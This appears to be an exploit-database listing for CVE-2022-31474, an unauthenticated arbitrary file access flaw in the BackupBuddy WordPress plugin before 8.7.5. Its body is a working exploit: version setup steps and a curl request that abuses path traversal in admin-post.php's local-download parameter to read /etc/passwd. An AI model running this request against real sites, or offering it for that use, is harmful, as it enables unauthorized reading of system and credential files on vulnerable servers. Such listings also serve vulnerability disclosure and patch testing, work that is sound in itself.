Exploit for BackupBuddy < 8.7.5 - Unauthenticated Arbitrary File Access CVE-2022-31474

Name: Exploit for BackupBuddy < 8.7.5 - Unauthenticated Arbitrary File Access CVE-2022-31474
Rating: 5 (68 reviews)

2022-09-06 | CVSS 2.8

## https://sploitus.com/exploit?id=WPEX-ID:435C9614-638D-439D-8CA2-2653D8628185
Install BackupBuddy v8.5.8.0 through v8.7.4.1.

curl 'https://example.com/wp-admin/admin-post.php?local-download=../../../etc/passwd&local-destination-id=0' (assuming your local path is set to something like /var/www/html/).